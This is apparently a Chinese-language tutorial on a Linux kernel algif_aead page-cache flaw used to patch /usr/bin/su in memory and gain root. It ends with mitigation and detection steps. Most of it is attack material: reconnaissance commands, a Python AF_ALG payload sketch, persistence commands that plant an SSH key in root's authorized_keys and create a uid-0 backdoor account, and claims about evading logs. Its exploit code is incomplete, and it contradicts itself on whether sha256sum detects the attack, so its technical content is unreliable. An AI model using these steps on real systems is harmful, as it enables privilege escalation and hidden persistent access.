普通用户  →  利用 algif_aead 漏洞  →  覆盖页缓存  →  root

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = SetUID 标志

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← 这就是页缓存

socket(AF_ALG, SOCK_SEQPACKET, 0);  // 打开加密套接字

AF_ALG  →  algif_aead  →  AES-GCM 引擎  →  输出缓冲区
                                ↑
                           漏洞在此

destination = safe_output_buffer;       // 正确位置
memcpy(destination, user_data, size);   // 数据安全写入

destination = buffer + WRONG_OFFSET;    // 漏洞：错误指针！
memcpy(destination, user_data, size);   // 数据落入页缓存

cmp  eax, 0     ; 检查返回值
jne  0x1234     ; 若失败 → 跳转到拒绝
call give_root  ; 授予 root

cmp  eax, 0     ; 相同
90 90           ; NOP NOP ← 跳转被替换，检查被跳过！
call give_root  ; CPU 直接落在此处

whoami && id
# uid=1000(user) gid=1000(user) ← 普通用户

uname -r
# 6.1.0-generic ← 在受影响范围内

ls -la /usr/bin/su
# -rwsr-xr-x root root ← 确认 SetUID

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"

cat /usr/bin/su > /dev/null
# /usr/bin/su 现已加载到页缓存 ✓

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

payload = b'\x90\x90'  # NOP NOP — 替换条件跳转
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

# 内核内部（简化）：
destination = buffer + crafted_offset  # 漏洞：错误指针
memcpy(destination, payload, 2)        # NOP 字节写入页缓存
# /usr/bin/su 的密码检查在 RAM 中现为 NOP NOP

su
# 密码：（任意内容——或直接按回车）
# root@victim:/# ← 获得 ROOT

echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

sha256sum /usr/bin/su       # 与之前相同的哈希 ← 磁盘未受影响
diff /usr/bin/su backup/su  # 无差异
grep -r 'attack' /var/log/  # 无任何记录
auditd logs                 # 未记录文件写入

宿主机内核
├── 容器 1（隔离的用户空间）
│   └── 攻击者在此
├── 容器 2
└── 宿主机进程

页缓存：所有容器与宿主机之间共享！

free -h                      # 记录之前的 Cache 值
cat /usr/bin/su > /dev/null  # 将文件加载到页缓存
free -h                      # Cache 略有增加

su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

sha256sum /usr/bin/su
# 正常情况下与磁盘相同——成功攻击后不同
# /proc/PID/mem 比较需要 root 权限

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
  }
'

# 使用 seccomp 配置文件运行（阻止 AF_ALG）
docker run --security-opt seccomp=custom-profile.json my-image